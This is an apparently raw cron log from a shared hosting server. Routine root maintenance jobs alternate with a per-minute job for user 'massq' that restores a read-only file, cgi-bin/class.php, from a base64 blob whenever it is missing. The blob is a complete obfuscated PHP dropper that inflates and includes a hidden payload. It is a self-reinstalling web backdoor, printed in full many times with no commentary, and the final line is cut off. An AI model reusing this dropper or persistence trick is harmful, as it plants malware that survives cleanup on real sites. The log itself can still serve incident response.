Apr 12 17:34:01 server CROND[26926]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:35:01 server CROND[26998]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Apr 12 17:35:01 server CROND[26999]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 17:35:01 server CROND[27004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:35:01 server CROND[27005]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 17:35:01 server CROND[27003]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Apr 12 17:36:01 server CROND[27215]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:37:01 server CROND[27275]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:38:01 server CROND[27345]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:39:01 server CROND[27410]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Apr 12 17:39:01 server CROND[27411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:40:01 server CROND[27470]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Apr 12 17:40:01 server CROND[27471]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:40:01 server CROND[27472]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 17:40:01 server CROND[27473]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 17:41:01 server CROND[27599]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:42:01 server CROND[27757]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:42:01 server CROND[27758]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Apr 12 17:43:01 server CROND[27834]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:44:01 server CROND[27906]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:45:02 server CROND[27967]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Apr 12 17:45:02 server CROND[27968]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:45:02 server CROND[27969]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Apr 12 17:46:01 server CROND[28100]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Apr 12 17:47:01 server CROND[28258]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JH